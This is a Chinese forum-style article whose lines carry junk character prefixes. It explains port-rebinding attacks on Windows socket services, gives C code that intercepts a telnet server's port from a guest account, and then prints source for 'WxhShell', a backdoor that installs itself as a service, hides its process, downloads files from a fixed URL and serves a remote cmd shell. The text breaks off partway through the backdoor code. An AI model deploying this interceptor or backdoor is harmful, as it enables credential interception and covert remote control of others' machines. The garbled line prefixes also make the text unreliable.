在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
)G F s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
_^,[wD RvZryA*vu saddr.sin_family = AF_INET;
'ra_Zg[j `cy"-CJS saddr.sin_addr.s_addr = htonl(INADDR_ANY);
@b(gjOE YC+ZVp"v bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
hKH
Q!`&v A`mf 8'nTG 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
L2Q p6A6S Phjf$\pt 这意味着什么?意味着可以进行如下的攻击:
[eTck73 kdZ-<O7@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Y7IlqC`i 2oNPR+
- 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
&~f*q?xR gP"Mu#/D 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ABS
BtH ? Mz#S5 s 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
e^K=8IW Yc( )'6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
A?<"^<A^ FnU{C= P 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
pRyS8' ~wQ WWRk 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
bB[*\ }j5@\c48 #include
I(r5\A= #include
~(L<uFU V #include
Fb`7aFIf #include
:/?R9JVI DWORD WINAPI ClientThread(LPVOID lpParam);
{ /Q? int main()
ob()+p.k K {
*1 eTf WORD wVersionRequested;
'3kL=( DWORD ret;
aABE= 9Y WSADATA wsaData;
?f%DVK d BOOL val;
$f@-3/V6{ SOCKADDR_IN saddr;
?&t|?@ SOCKADDR_IN scaddr;
M<me\s) int err;
Y3F.hk}O SOCKET s;
41_sSqq;^ SOCKET sc;
,t,65@3+b int caddsize;
K,T]Fuy HANDLE mt;
X+G*Q}5 DWORD tid;
nCmrt*&} wVersionRequested = MAKEWORD( 2, 2 );
d~oWu [F* err = WSAStartup( wVersionRequested, &wsaData );
Ns] 9-D if ( err != 0 ) {
bJ5z?? printf("error!WSAStartup failed!\n");
FWx*&y~$ return -1;
bTYP{x~ y }
0GLB3I > saddr.sin_family = AF_INET;
b`%e{99\ Xf/<.5A //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
7|?@\ZE [,V92-s;N saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
6P[O8 saddr.sin_port = htons(23);
Q\th8/ / if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'm.XmVZL% {
t7`Pw33#kY printf("error!socket failed!\n");
_O71r}4 return -1;
2ZFKjj }
o\Vt $ val = TRUE;
p[+me o //SO_REUSEADDR选项就是可以实现端口重绑定的
LFry?HO,D if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
"I1M$^8n {
d}G."wnG9, printf("error!setsockopt failed!\n");
6je%LHhL return -1;
s)ajy^6'M }
1$!K2=%OXj //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
^oZs&+z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
L,ey3i7a\ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
61;5Yo Wn</",Gf if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
0BZOr-i {
#~qp8
w ret=GetLastError();
D&lXi~Z%. printf("error!bind failed!\n");
-D':7!@ return -1;
9fLP&v }
wtick~) listen(s,2);
[~%;E[ky$ while(1)
,oVBgCf {
?;QKe0I^ caddsize = sizeof(scaddr);
=1B&d[3; //接受连接请求
5/VB'N#7s sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
nylIP */ if(sc!=INVALID_SOCKET)
"S} hcAL/ {
+mF 2yh mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
aD`e]K ^L if(mt==NULL)
zEL[%(fnc {
Ljs(<Gm)- printf("Thread Creat Failed!\n");
m<HjL break;
L&k$4,Z9 }
}U1{&4Ph }
WmBnc#>gK CloseHandle(mt);
ap_+C~%+ }
?B4QTx9B closesocket(s);
KTREOOu .t WSACleanup();
S~9kp?kR$ return 0;
JO$]t|I }
|?Uc:VFF DWORD WINAPI ClientThread(LPVOID lpParam)
#j5^/*XW {
5?Ao9Q]@ SOCKET ss = (SOCKET)lpParam;
s9dBXfm SOCKET sc;
yodrX&" unsigned char buf[4096];
OnJSu
z>- SOCKADDR_IN saddr;
5~6y.S long num;
9Qd'=JQl DWORD val;
*qOCo_=P8 DWORD ret;
;a77YLTQ //如果是隐藏端口应用的话,可以在此处加一些判断
eWs^[^c.< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
jWCC`0
T saddr.sin_family = AF_INET;
<qiap2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
enepAu-="p saddr.sin_port = htons(23);
DEp:
vlW@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]8z6gDp {
' vClZGQ1 printf("error!socket failed!\n");
M|u5Vs1 return -1;
?5M2DLh~ }
YZJP7nN val = 100;
\Vq;j 1 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`215Llzk; {
he6)
L6T ret = GetLastError();
OH~qJ< return -1;
'0?E|B]Cp% }
bHG>SW\]`? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
O&%T_Zk@@ {
~hX'FV ret = GetLastError();
~Q]M_,`M return -1;
FkkB#Jk4 }
0`=?ig_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
$dUN+9 {
$5[RR printf("error!socket connect failed!\n");
\OB3gnR closesocket(sc);
6g&nnA closesocket(ss);
\Ki#"%S return -1;
5jk4k c }
.U
{JI\ while(1)
0\;a:E.c {
&"0[7zgYQz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)Jn80~U|1 //如果是嗅探内容的话,可以再此处进行内容分析和记录
,5WDYk- //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
<:o><f+ num = recv(ss,buf,4096,0);
wAPdu y[ if(num>0)
);LwWKa send(sc,buf,num,0);
MeS$+9jV( else if(num==0)
zvg&o)/[ break;
s os& num = recv(sc,buf,4096,0);
34+}u,= if(num>0)
zW.sXV, send(ss,buf,num,0);
9|DC<Zn&B# else if(num==0)
;c}];ZU3G break;
vnpX-c }
W5{e.eI}| closesocket(ss);
,B!Qv3bn closesocket(sc);
Ss}0.5Bq return 0 ;
b@Cvs4 }
^5F/=TtE G i>}z$'X e2F7G>q:5 ==========================================================
sP!qv"u @x4Dt&:" 下边附上一个代码,,WXhSHELL
E$
rSrT( W ,+91rup ==========================================================
aKO@_R,: VVOt%d #include "stdafx.h"
W=:+f)D N<WFe5 #include <stdio.h>
tDVdl^# #include <string.h>
6Rj
X #include <windows.h>
RPQ)0.O7 #include <winsock2.h>
X'<xw #include <winsvc.h>
,j<"~"]
= #include <urlmon.h>
,)G,[ih b*i+uV? #pragma comment (lib, "Ws2_32.lib")
i&KODhMpP #pragma comment (lib, "urlmon.lib")
a4YyELXe ^(3k
uF #define MAX_USER 100 // 最大客户端连接数
p,/^x~m3a #define BUF_SOCK 200 // sock buffer
bHM
.&4G
#define KEY_BUFF 255 // 输入 buffer
e^TF.D?RS +V^_ksi\ #define REBOOT 0 // 重启
6iC:l%|u #define SHUTDOWN 1 // 关机
RCr:2
Iz i:72FVo #define DEF_PORT 5000 // 监听端口
8!fwXm |Rc#Q<Vh| #define REG_LEN 16 // 注册表键长度
0XNb@ogo #define SVC_LEN 80 // NT服务名长度
&2J|v#$F v;7u"9t // 从dll定义API
<}%*4mv typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
DFMWgBL typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
mLSAi2Y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
+l\Dp typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
TrW3@@}j Ns_d10rZ. // wxhshell配置信息
U$}]zaB struct WSCFG {
7_,X9^z int ws_port; // 监听端口
4(]k=c1< char ws_passstr[REG_LEN]; // 口令
2NM}u\%c/ int ws_autoins; // 安装标记, 1=yes 0=no
;a"Ukh char ws_regname[REG_LEN]; // 注册表键名
q!4dK4`#5 char ws_svcname[REG_LEN]; // 服务名
E;N8{Ye_ char ws_svcdisp[SVC_LEN]; // 服务显示名
F(9T;F char ws_svcdesc[SVC_LEN]; // 服务描述信息
n>'}tT)U char ws_passmsg[SVC_LEN]; // 密码输入提示信息
#XZ?,neY int ws_downexe; // 下载执行标记, 1=yes 0=no
`4MPXfoBL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
K""04Ew*pV char ws_filenam[SVC_LEN]; // 下载后保存的文件名
[@czvPi "d'@IN };
>8Y >B) B4C`3@a // default Wxhshell configuration
d
{4br struct WSCFG wscfg={DEF_PORT,
=z+zg^wsT "xuhuanlingzhe",
OB%y'mo7] 1,
'Tn$lh "Wxhshell",
]So%/rOvX "Wxhshell",
Qa=;Elp:[ "WxhShell Service",
G(>a LF "Wrsky Windows CmdShell Service",
6*E7} "Please Input Your Password: ",
s$;v )w$ 1,
UZ$p wjC "
http://www.wrsky.com/wxhshell.exe",
;%} "Wxhshell.exe"
J{Jxb1:c };
4{TUoI6ii 4{V=X3,x // 消息定义模块
<Ip}uy[Y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
O;~1M3Ii char *msg_ws_prompt="\n\r? for help\n\r#>";
9ccEF6o0= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
VCI G+Gz char *msg_ws_ext="\n\rExit.";
DIY WFVh char *msg_ws_end="\n\rQuit.";
YG_3@`-< char *msg_ws_boot="\n\rReboot...";
YAO0>T<F char *msg_ws_poff="\n\rShutdown...";
97lwPjq char *msg_ws_down="\n\rSave to ";
:3k(=^%G! JW$#~"@r char *msg_ws_err="\n\rErr!";
BmZd,}{ char *msg_ws_ok="\n\rOK!";
)9$Xfq/ ;]gph)2cd char ExeFile[MAX_PATH];
>. A{=? int nUser = 0;
2&M
8Wb# HANDLE handles[MAX_USER];
UX6-{
RP int OsIsNt;
F n\)*; ^ 2neiUNT SERVICE_STATUS serviceStatus;
xGqZ8v`v SERVICE_STATUS_HANDLE hServiceStatusHandle;
ev>: 3_ s +Fk.B@KT, // 函数声明
P)3e^~+A int Install(void);
?w.Yx$Z" int Uninstall(void);
: v]< h int DownloadFile(char *sURL, SOCKET wsh);
6i%)'dl int Boot(int flag);
p8Pvctc void HideProc(void);
?@ O[$9y int GetOsVer(void);
z;-2xD0&U[ int Wxhshell(SOCKET wsl);
cla4%|kq3Y void TalkWithClient(void *cs);
KF.?b] int CmdShell(SOCKET sock);
$ysC)5q. int StartFromService(void);
z~F!zigNAc int StartWxhshell(LPSTR lpCmdLine);
83@+X4ptp 3E#acnqn* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
(g 8K?Q VOID WINAPI NTServiceHandler( DWORD fdwControl );
_z_uz\#, !cfn%+0 // 数据结构和表定义
B|8(}Ciqx SERVICE_TABLE_ENTRY DispatchTable[] =
!!9V0[ {
pl%ag~i5 {wscfg.ws_svcname, NTServiceMain},
>o@WT kF] {NULL, NULL}
h'
16"j> };
8u>E(Vmpu nD!^0? // 自我安装
SkY|.w. int Install(void)
%FwLFo^v {
PffRV7qU0 char svExeFile[MAX_PATH];
BQm H9g|2 HKEY key;
T =:^k+ strcpy(svExeFile,ExeFile);
J &c}z4 ]_-<[0 // 如果是win9x系统,修改注册表设为自启动
B!,})F$x if(!OsIsNt) {
# H4dmnV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ruoiG?:T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"B.l j) RegCloseKey(key);
>LjvMj ] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}hGbF"clqg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
419t"1b RegCloseKey(key);
TygRG+G- return 0;
>8ePx,+! }
3]wV`mD }
c1c0b|B!U }
;yH/GN#O else {
K]RkKMT, vsc&$r3!5{ // 如果是NT以上系统,安装为系统服务
rXA7<_V g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
R!:1{1 if (schSCManager!=0)
.*8.{n5 {
na <g
/& SC_HANDLE schService = CreateService
|g@1qXO3 (
MLUq"f~ N schSCManager,
1<lLE1fk wscfg.ws_svcname,
{W@Y4Qqq wscfg.ws_svcdisp,
klPc l[.w SERVICE_ALL_ACCESS,
gX);/;9mm+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^58'*13ZL SERVICE_AUTO_START,
) ><{A SERVICE_ERROR_NORMAL,
.t\5H<z svExeFile,
@}#$<6| NULL,
m|'TPy NULL,
D9JT)a NULL,
S53[K/dZo NULL,
Nhs]U`s(g NULL
&}rh+z );
r3#H]c if (schService!=0)
Ry,jPw5< {
UeE&rA] CloseServiceHandle(schService);
,rQznE1e CloseServiceHandle(schSCManager);
\ ddbqg?` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
uRJLSt9m strcat(svExeFile,wscfg.ws_svcname);
f ^z7K if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
(ZDRjBth[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
!
XA07O[@ RegCloseKey(key);
e%"L79Of6) return 0;
yt$V<8a }
UA}k"uM }
d!!5'/tmS CloseServiceHandle(schSCManager);
K5b8lc }
X=-pNwO }
|Zz3X "{|9Yis= return 1;
r%F{1. }
'H:lR1(, Rom|Bqo; // 自我卸载
BB9Z?} int Uninstall(void)
b bX2D/ {
B2VUH..am HKEY key;
a(!:a+9WOP A:>G: X5t if(!OsIsNt) {
LDO@$jg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
s>^*GQw RegDeleteValue(key,wscfg.ws_regname);
(Zx;GS RegCloseKey(key);
]e 81O#t3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R:zjEhH) RegDeleteValue(key,wscfg.ws_regname);
8z\WyDz RegCloseKey(key);
tPc '#. return 0;
q
f-1} }
OE WIP }
mq>Ag }
"@DCQ else {
$}N'm XswEAz0= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
(q*Za if (schSCManager!=0)
zAS&L%^ tV {
Gb\}e}TB[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
^<7)w2ns if (schService!=0)
{ 6*h';~ {
%/jmQ6z^ if(DeleteService(schService)!=0) {
Fod2KS;g CloseServiceHandle(schService);
L3'o2@$ CloseServiceHandle(schSCManager);
5YJLR; return 0;
Lr_+)l }
=]E;wWC CloseServiceHandle(schService);
j?#S M!f }
e$fxC-sZ CloseServiceHandle(schSCManager);
c(i-~_ }
s9zdg"c' }
0O|T\E8e e%o6s+" return 1;
>DpnIWn }
-(@dMY "EDn;l-Q // 从指定url下载文件
p~En~?< int DownloadFile(char *sURL, SOCKET wsh)
3T%WfS+ {
aa8WRf HRESULT hr;
}r9f}yX9Q char seps[]= "/";
3;@t{rIin char *token;
6(VCQ{ char *file;
;VNwx(1l` char myURL[MAX_PATH];
W_ngB[ char myFILE[MAX_PATH];
^;!A`t G/bWn@ strcpy(myURL,sURL);
5,|^4
ZA token=strtok(myURL,seps);
JO1KkIV while(token!=NULL)
:TxfkicN\ {
7?dB&m6W file=token;
z{7&= $ token=strtok(NULL,seps);
*4dA(N\k" }
~W_m<#K( #92:h6 GetCurrentDirectory(MAX_PATH,myFILE);
1ki##v[ W8 strcat(myFILE, "\\");
(Rve<n6{A strcat(myFILE, file);
; P&Ka send(wsh,myFILE,strlen(myFILE),0);
W:ih#YW_F send(wsh,"...",3,0);
%DbL|;z1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
y!h$Z6. if(hr==S_OK)
g< M\zD return 0;
l!EfvqWX else
FU E/uh return 1;
YR=<xn;m. ~ucOQVmz@ }
?TLMoqmXM{ dyC: Mko= // 系统电源模块
EL;Ir tU int Boot(int flag)
Y, )'0O {
}[SWt3qV1 HANDLE hToken;
%F` cNw] TOKEN_PRIVILEGES tkp;
k^:$ETW2
D JnlM0jc]` if(OsIsNt) {
&Ru|L.G` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
4t|ril``] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Eo!1
WRruF tkp.PrivilegeCount = 1;
a]Bm0gdrO tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tK`sVsm> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
XTUxMdN if(flag==REBOOT) {
"@;q! B.qo if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
O&!+ni return 0;
=)
$a>N }
f
nX!wN else {
Kzb&aOw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
b54<1\& return 0;
?kI-o0@O. }
@TdPeTw\ }
N4}j,{# else {
. Zrt/; if(flag==REBOOT) {
pLE|#58I if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
2G=Bav\n+ return 0;
DGz'Dn }
,2qJXMg"=$ else {
|<96H8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
U}x2,`PI return 0;
h
\hQ }
5wmH3g#0 }
S#8wnHq Xai , return 1;
CS)&A4`8 }
/JaH %M2.h;9]*\ // win9x进程隐藏模块
x$Ko|:- void HideProc(void)
$]<C C ` {
Mc#uWmc 7 lbZ,?wm HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
dE7 kd=.o if ( hKernel != NULL )
-v'7;L0K {
B;r U pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
vvU;55- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
8 P.t FreeLibrary(hKernel);
17I{_C }
ID
&Iz _r0oOp E return;
&^Zo}F2V }
D}XyT/8G3 E{[c8l2B // 获取操作系统版本
mk2T int GetOsVer(void)
#I|Vyufw {
^o+2:G5z} OSVERSIONINFO winfo;
bHH{bv~Z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
*6sB$E_y GetVersionEx(&winfo);
|\TOSaZ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
5"u-oE& return 1;
1&\_|2 else
GNS5v-"H return 0;
[u;]J* }
IAf,TKfe %6j|/|#] // 客户端句柄模块
0}2Uj>!i int Wxhshell(SOCKET wsl)
LyH8T'C~ {
OD-CU8X9 SOCKET wsh;
B q+RFo struct sockaddr_in client;
`<i|K*u DWORD myID;
6Xb\a^q b#(SDNo6 while(nUser<MAX_USER)
[yM{A<\L {
'g$~ij ;x int nSize=sizeof(client);
O&.^67\| wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[X ]\^
if(wsh==INVALID_SOCKET) return 1;
XAR~d6iZ \:mx Ri handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
y8HLrBTza if(handles[nUser]==0)
{";5n7<<) closesocket(wsh);
LKieOgX else
%H75u6 nUser++;
AR\>P }
'C)^hj. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
'}dlVf pN6!IxN$ return 0;
zhY VMQ }
s\_-` [B0 [wG?&l$.KB // 关闭 socket
tQ_;UQlX void CloseIt(SOCKET wsh)
{:xINQ=}D {
IzF7W?k closesocket(wsh);
m8,P-m nUser--;
H_sLviYLu ExitThread(0);
{>tgNW>) }
h@=H7oV7k 1dh_"/ // 客户端请求句柄
d|k6#f-E void TalkWithClient(void *cs)
BoYWx^VHx^ {
'uBXSP# ny%-u&1k SOCKET wsh=(SOCKET)cs;
H$au02dpU char pwd[SVC_LEN];
ks<gSCB char cmd[KEY_BUFF];
Idop!b5! char chr[1];
A(X~pP&oF int i,j;
5<w"iqZ\?N uNZJNrV% while (nUser < MAX_USER) {
wvvMesX<L +6@".< if(wscfg.ws_passstr) {
I~y[8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3C 84b/A //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
${0+LhST //ZeroMemory(pwd,KEY_BUFF);
k<wX ??' i=0;
vNlYk while(i<SVC_LEN) {
Iz,a
Hrq $]|fjB#D // 设置超时
!31v@v:) fd_set FdRead;
H>AQlO+ J
struct timeval TimeOut;
CT+pkNC FD_ZERO(&FdRead);
Q<B=m6~ FD_SET(wsh,&FdRead);
P$S>=*`n
U TimeOut.tv_sec=8;
6f,#O8]#5 TimeOut.tv_usec=0;
u:&gp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Yf&x]<rkCp if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
tX$%*Uy #X'!wr|- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
P0uUVU=B| pwd
=chr[0]; Sq8 `)$\
if(chr[0]==0xd || chr[0]==0xa) { EzqYHY+_r
pwd=0; zm4Okg)w@
break; li;Np5P
} +RQlMAB
i++; -1d2Qed
} Bi/=cI
4]0|fi3}>
// 如果是非法用户,关闭 socket 5jD2%"YUV
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =Y#)c]`
} %$|=_K)Ks
}+G6` Zd
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5BR9f3}
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gfG Mu0FjB
)pLde_ k
while(1) { Zc(uK{3W-
wG6>.`:
ZeroMemory(cmd,KEY_BUFF); hd1(q33
iIji[>qz
// 自动支持客户端 telnet标准 Tn,'*D@l
j=0; XBe!9/'k>
while(j<KEY_BUFF) { W}#eQ|oCV
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tm~a&p
cmd[j]=chr[0]; L^uO.eI"m
if(chr[0]==0xa || chr[0]==0xd) { $50A!h
cmd[j]=0; e}Cp;c]=
break; "- @{ )
} H(9%SP@[c
j++; GhpVi<FL
} T<Y^V
{ \9vW; '
// 下载文件 f#}P>,TP
if(strstr(cmd,"http://")) { K n%[&
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 37Ux2t
if(DownloadFile(cmd,wsh)) Pd9qY
8CP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {j O:9O@
else V`qHNM/t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $,Y\
} !4TM gM
else { mu`h6?v
C"no>A^
switch(cmd[0]) { udVEOn$
|n3fAN
// 帮助 (4=NKtA^G
case '?': { 9gR@Q%b)
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1eQa54n
break; C1_':-4
} 1uBnU2E
// 安装 'z7,)Q&8
case 'i': { U86bn(9K
if(Install()) 89ivyv;]U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dlkxA^
else },G6IuH%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]`39E"zY
break; _1_CYrUc
} U;f~ Q6iu
// 卸载 0V6gNEAUg
case 'r': { 3p`*'j 2R
if(Uninstall()) 7qj<|US
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 21i ?$ uU
else cnJ(Fv_F$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &?C%
-"|c
break; s<,[xkMB
} mTXeIng?
// 显示 wxhshell 所在路径 +Qy0K5Ee
case 'p': { 0Snl_@s
char svExeFile[MAX_PATH]; UkK`5p<D7
strcpy(svExeFile,"\n\r"); @H[)U/.
strcat(svExeFile,ExeFile); .`qw8e}y#'
send(wsh,svExeFile,strlen(svExeFile),0); x&>zD0\
:\
break; Q${0(#Nu
} =yo?] ZS
// 重启 M
^gva?{
case 'b': { <Vucr
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6\"g,f
if(Boot(REBOOT)) 9>,$q"M}?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y&M}3H>E
else { fui;F"+1
closesocket(wsh); {jB& e,
ExitThread(0); ajB4Lj,:r
} ? t<yk(q
break; d$.t0-lC
} ;s{k32e
// 关机 ~nO]R
case 'd': { %6Wv-:LY
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O6JH )Ka"S
if(Boot(SHUTDOWN)) j"g[qF/*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NKyaR_q`
else { O#Y;s;)i"
closesocket(wsh);
<sdC#j
ExitThread(0); 17IT:T,'
} oAaUXkQE
break; i2$7nSQ9
} x?T.ItW:K
// 获取shell JAPiR=
case 's': { XL!\Lx
CmdShell(wsh); <X]'":
closesocket(wsh); ]6JI((
ExitThread(0); JBzRL"|
break; ig
G8L
} Y:UDte[Lb
// 退出 ErZYPl
case 'x': { ~Q<h,P
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?+6w8j%\
CloseIt(wsh); `Hj{XIOx
break; >IZ|:lsxE
} !<`}mE!:
// 离开 l6o?(!:!%
case 'q': { ['1JNUX
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _19x`J3
closesocket(wsh); <zUU`
WSACleanup(); %&EDh2w>
exit(1); )X-~+X91S
break; Iu(j"b#
} t<sy7e='
} N=4`jy =
} QN!.~>
1 /@lZ
// 提示信息 g+CTF67
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ::'DWD1
} MZ9{*y[z
} N0U6N< w
@|A
wT
return; c;RB!`9"
} kl4u]MyL#
B^8]quOH
// shell模块句柄 y9<]F6TT
int CmdShell(SOCKET sock) Y"eR&d
{ d:|(l^]{r
STARTUPINFO si; V*
:Q~
^
ZeroMemory(&si,sizeof(si)); DdAs]e|D[
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [}p/pj=
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e* 2ay1c
PROCESS_INFORMATION ProcessInfo; wO\,?SI4
char cmdline[]="cmd"; s+mNr3
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t?bc$,S"\(
return 0; G'>?/l#
} #~ikR.-+Eq
%~z/, [wk
// 自身启动模式 <qGVOAnz+
int StartFromService(void) Z]Zs"$q@
{ mv%Zh1khn/
typedef struct
'ju
{ ]{2Eo
DWORD ExitStatus; gW0{s[}T
DWORD PebBaseAddress; ZH
o#2{F
DWORD AffinityMask; (<.uvq61
